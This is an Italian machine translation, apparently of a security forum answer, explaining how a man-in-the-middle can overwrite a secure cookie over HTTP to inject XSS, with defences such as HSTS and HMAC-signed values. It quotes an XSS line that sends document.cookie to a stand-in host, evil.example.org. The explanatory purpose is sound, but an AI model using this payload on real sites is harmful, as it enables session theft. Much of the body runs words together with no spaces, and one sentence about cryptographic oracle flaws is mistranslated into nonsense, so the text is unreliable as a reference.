Normalmente si dovrebbe essere corretti, tuttavia non è possibile proteggersi da questa vulnerabilità MITM anche se si utilizza un cookie sicuro su SSL. Questo cookie potrebbe ancora essere MITM per iniettare XSS.
Il rapporto sul test della penna è corretto: il fatto che il meccanismo XSS sia un cookie dà origine alla vulnerabilità del MITM. Questo perché la Stessa politica di origine per i cookie non tratta protocolli e porte diversi come separati origini:
cookies have scoping mechanisms that are broader and essentially incompatible with same-origin policy rules (e.g., as noted, no ability to restrict cookies to a specific host or protocol) - sometimes undoing some content security compartmentalization mechanisms that would otherwise be possible under DOM rules.
Senza la funzionalità cookie, la vulnerabilità XSS è scomparsa e anche la vulnerabilità del MITM. Intendo spiegare in seguito con l'esempio.
Supponiamo che tu abbia scritto un link sicuro a un cookie con il set di flag di sicurezza come
<a href="https://www.example.edu/">University Link</a>
Il flag di sicurezza impedirà a un MITM di leggere il valore del cookie. Tuttavia, un utente malintenzionato potrebbe MITM qualsiasi altra connessione HTTP dalla vittima a qualsiasi altro sito e quindi inserire il proprio riferimento di risorsa al proprio sito.
In altre parole, la tua vittima visita bbc.co.uk
su un semplice HTTP. Il MITM intercetta la richiesta HTTP a bbc.co.uk
e aggiunge una richiesta di risorse JavaScript falsa nella pagina al tuo sito, example.com
.
<script src="http://example.com/whatever.js"></script>
SarannoquindiingradodiMITMquestarichiesta(perchéèsemplicementeHTTP)einserireun'intestazioneSet-Cookie
nellarisposta.Inmodochepotesseroimpostareilcookiesu
<script>newImage().src='https://evil.example.org?cookie='+escape(document.cookie);</script>
persovrascrivereiltuocookiesicuro.Poichéperilbrowserilcookievieneimpostatodaltuodominio,saràleggibilesuHTTPeHTTPS.Quandol'utentevisitalatuapaginasuccessiva,questocookieverràlettoequindiresoallapaginapoichéilservernonhamododisaperechequestocookieèstatoimpostatosuHTTP.Ancheseilflagdisicurezzaèimpostatosulcookieoriginale,questocookiepuòsovrascriverloepoichéilserverottienesololecoppienome/valoreenonilvaloredelflagdisicurezza,nonhamododisaperechequestocookieèstatoavvelenato.
HTTPStrictTransportSecuritypuòproteggersidaquesto,poichélasempliceconnessioneHTTPverràautomaticamenteconvertitainHTTPSequindisaràimmunealMITMfinoaquandolapoliticaHSTSnonscadrà.Inoltre,iltuositorimarrebbevulnerabileprimacheiltuoutenteaccedaaltuosistemautilizzandoilsuobrowser,poichél'HSTSnonsaràancorastabilitoperiltuodominioamenochenonsiapresentenell'elencoprecaricato.Inoltre,alcunibrowsercomeInternetExplorernonsupportanoancoraHSTS.
Quindi,inbreve,sarebbemeglioarchiviarequestilinkoqualsiasitestochesivorrebberenderizzatoperl'utentelatoserveresemplicementememorizzareuntokensicuroall'internodelcookiechepuòesserecercatoall'internodeldatabase.CiòimpediràqualsiasiattaccoXSScheutilizzailcookie.Noncrittografareilvaloredelcookie,perchésecisono chiedi ai difetti crittografici di Oracle nel tuo sistema questo potrebbe ancora lasciare sei vulnerabile. Un approccio migliore sarebbe quello di HMAC il codice HTML nel cookie con una chiave segreta mantenuta sul lato server, e quindi verificare che questo MAC sia corretto prima di qualsiasi rendering. Ciò impedirà l'inserimento di qualsiasi codice HTML impostato all'esterno dell'applicazione.
Vedi anche Sicurezza di un reindirizzamento iniziale da http://example.com a https://example.com